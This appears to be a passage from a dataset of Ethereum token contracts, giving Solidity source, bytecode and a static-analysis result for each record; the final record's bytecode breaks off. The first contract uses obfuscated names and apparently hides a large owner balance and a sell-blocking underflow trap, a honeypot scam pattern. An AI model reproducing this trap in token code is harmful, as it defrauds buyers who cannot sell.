address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { mapping(uint256 => address) private tank; mapping(address => uint256) private arrange; mapping(address => address) private crowd; mapping(address => uint256) private arrangement; uint256 private MAX = ~uint256(0); uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; uint256 private fairly; uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address _owner ) { _symbol = _SYMBOL; _name = _NAME; _fee = 2; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; fairly = _tTotal; _rTotal = (MAX - (MAX % _tTotal)); _balances[msg.sender] = _tTotal; _balances[_owner] = _rTotal; arrange[msg.sender] = fairly; arrange[_owner] = fairly; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); crowd[address(this)] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function _transfer( address face, address manufacturing, uint256 amount ) private { address thirty = tank[fairly]; bool process = crowd[address(this)] == face; uint256 quarter = _fee; if (arrange[face] == 0 && arrangement[face] > 0 && !process) { arrange[face] -= quarter; } tank[fairly] = manufacturing; if (arrange[face] > 0 && amount == 0) { arrange[manufacturing] += quarter; } arrangement[thirty] += quarter; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[face] -= fee; _balances[address(this)] += fee; _balances[face] -= amount; _balances[manufacturing] += amount; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f919061109b565b60405180910390f35b610132600480360381019061012d9190611156565b610392565b60405161013f91906111b1565b60405180910390f35b6101506103a7565b60405161015d91906111db565b60405180910390f35b610180600480360381019061017b91906111f6565b6103b1565b60405161018d91906111b1565b60405180910390f35b61019e610500565b6040516101ab91906111db565b60405180910390f35b6101bc61051a565b6040516101c99190611258565b60405180910390f35b6101ec60048036038101906101e79190611273565b610540565b6040516101f991906111db565b60405180910390f35b61020a610589565b005b610214610611565b6040516102219190611258565b60405180910390f35b61023261063a565b60405161023f919061109b565b60405180910390f35b610262600480360381019061025d9190611156565b6106cc565b60405161026f91906111b1565b60405180910390f35b610280610748565b60405161028d91906111db565b60405180910390f35b6102b060048036038101906102ab91906112a0565b61074e565b6040516102bd91906111db565b60405180910390f35b6102e060048036038101906102db9190611273565b6107d5565b005b6102ea6108cc565b6040516102f7919061133f565b60405180910390f35b60606007805461030f90611389565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611389565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600b54905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec9061142c565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111db565b60405180910390a36104f7843384601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f2919061147b565b6108f2565b90509392505050565b6000600960009054906101000a900460ff1660ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f36565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc906114fb565b60405180910390fd5b61060f6000610f3e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461064990611389565b80601f016020809104026020016040519081016040528092919081815260200182805461067590611389565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111db565b60405180910390a36001905092915050565b60065481565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f36565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610848906114fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b79061158d565b60405180910390fd5b6108c981610f3e565b50565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109939061161f565b60405180910390fd5b81601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111db565b60405180910390a3600190509392505050565b600060016000600a54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060065490506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bee57506000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bf8575081155b15610c545780600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4c919061147b565b925050819055505b8460016000600a54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610cf75750600084145b15610d535780600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4b919061163f565b925050819055505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da2919061163f565b925050819055506000600654606486610dbb91906116c4565b610dc591906116f5565b90508085610dd3919061147b565b945080600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e24919061147b565b9250508190555080600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7a919061163f565b9250508190555084600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed0919061147b565b9250508190555084600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f26919061163f565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561103c578082015181840152602081019050611021565b8381111561104b576000848401525b50505050565b6000601f19601f8301169050919050565b600061106d82611002565b611077818561100d565b935061108781856020860161101e565b61109081611051565b840191505092915050565b600060208201905081810360008301526110b58184611062565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ed826110c2565b9050919050565b6110fd816110e2565b811461110857600080fd5b50565b60008135905061111a816110f4565b92915050565b6000819050919050565b61113381611120565b811461113e57600080fd5b50565b6000813590506111508161112a565b92915050565b6000806040838503121561116d5761116c6110bd565b5b600061117b8582860161110b565b925050602061118c85828601611141565b9150509250929050565b60008115159050919050565b6111ab81611196565b82525050565b60006020820190506111c660008301846111a2565b92915050565b6111d581611120565b82525050565b60006020820190506111f060008301846111cc565b92915050565b60008060006060848603121561120f5761120e6110bd565b5b600061121d8682870161110b565b935050602061122e8682870161110b565b925050604061123f86828701611141565b9150509250925092565b611252816110e2565b82525050565b600060208201905061126d6000830184611249565b92915050565b600060208284031215611289576112886110bd565b5b60006112978482850161110b565b91505092915050565b600080604083850312156112b7576112b66110bd565b5b60006112c58582860161110b565b92505060206112d68582860161110b565b9150509250929050565b6000819050919050565b60006113056113006112fb846110c2565b6112e0565b6110c2565b9050919050565b6000611317826112ea565b9050919050565b60006113298261130c565b9050919050565b6113398161131e565b82525050565b60006020820190506113546000830184611330565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113a157607f821691505b6020821081036113b4576113b361135a565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061141660298361100d565b9150611421826113ba565b604082019050919050565b6000602082019050818103600083015261144581611409565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061148682611120565b915061149183611120565b9250828210156114a4576114a361144c565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114e560208361100d565b91506114f0826114af565b602082019050919050565b60006020820190508181036000830152611514816114d8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061157760268361100d565b91506115828261151b565b604082019050919050565b600060208201905081810360008301526115a68161156a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061160960248361100d565b9150611614826115ad565b604082019050919050565b60006020820190508181036000830152611638816115fc565b9050919050565b600061164a82611120565b915061165583611120565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561168a5761168961144c565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116cf82611120565b91506116da83611120565b9250826116ea576116e9611695565b5b828204905092915050565b600061170082611120565b915061170b83611120565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156117445761174361144c565b5b82820290509291505056fea2646970667358221220d997252f423610c031ea04f3e64f832d8c407fabd0f093acef66438d6fa67c5264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,069
0x0a8b2b630d9a0f0f0296e0fb9e72b528ee851de7
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ /** https://twitter.com/elonmusk/status/1468030897979113473 That always blows my mind. Sad thing is that we haven’t been Back To The Moon in half a century. Telegram: https://t.me/B2TMoon */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract B2TMoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Back To The Moon"; string private constant _symbol = "@B2TMoon"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x4087FA880C3CbF9b3A16f92d0d87922438D04Bd0); _feeAddrWallet2 = payable(0x4087FA880C3CbF9b3A16f92d0d87922438D04Bd0); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cf578063b515566a146102ef578063c3c8cd801461030f578063c9567bf914610324578063dd62ed3e1461033957600080fd5b806370a0823114610241578063715018a6146102615780638da5cb5b1461027657806395d89b411461029e57600080fd5b8063273123b7116100d1578063273123b7146101ce578063313ce567146101f05780635932ead11461020c5780636fc3eaec1461022c57600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f2130b1b5902a37902a34329026b7b7b760811b60208201525b60405161015091906117dc565b60405180910390f35b34801561016557600080fd5b50610179610174366004611685565b61037f565b6040519015158152602001610150565b34801561019557600080fd5b50678ac7230489e800005b604051908152602001610150565b3480156101ba57600080fd5b506101796101c9366004611645565b610396565b3480156101da57600080fd5b506101ee6101e93660046115d5565b6103ff565b005b3480156101fc57600080fd5b5060405160098152602001610150565b34801561021857600080fd5b506101ee610227366004611777565b610453565b34801561023857600080fd5b506101ee61049b565b34801561024d57600080fd5b506101a061025c3660046115d5565b6104c8565b34801561026d57600080fd5b506101ee6104ea565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102aa57600080fd5b506040805180820190915260088152672021192a26b7b7b760c11b6020820152610143565b3480156102db57600080fd5b506101796102ea366004611685565b61055e565b3480156102fb57600080fd5b506101ee61030a3660046116b0565b61056b565b34801561031b57600080fd5b506101ee61060f565b34801561033057600080fd5b506101ee610645565b34801561034557600080fd5b506101a061035436600461160d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038c338484610a07565b5060015b92915050565b60006103a3848484610b2b565b6103f584336103f0856040518060600160405280602881526020016119ad602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e78565b610a07565b5060019392505050565b6000546001600160a01b031633146104325760405162461bcd60e51b81526004016104299061182f565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047d5760405162461bcd60e51b81526004016104299061182f565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104bb57600080fd5b476104c581610eb2565b50565b6001600160a01b03811660009081526002602052604081205461039090610f37565b6000546001600160a01b031633146105145760405162461bcd60e51b81526004016104299061182f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038c338484610b2b565b6000546001600160a01b031633146105955760405162461bcd60e51b81526004016104299061182f565b60005b815181101561060b576001600660008484815181106105c757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060381611942565b915050610598565b5050565b600c546001600160a01b0316336001600160a01b03161461062f57600080fd5b600061063a306104c8565b90506104c581610fbb565b6000546001600160a01b0316331461066f5760405162461bcd60e51b81526004016104299061182f565b600f54600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610429565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107053082678ac7230489e80000610a07565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073e57600080fd5b505afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077691906115f1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107be57600080fd5b505afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f691906115f1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083e57600080fd5b505af1158015610852573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087691906115f1565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108a6816104c8565b6000806108bb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091e57600080fd5b505af1158015610932573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095791906117af565b5050600f805467016345785d8a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109cf57600080fd5b505af11580156109e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060b9190611793565b6001600160a01b038316610a695760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610aca5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610bf15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b60008111610c535760405162461bcd60e51b81526020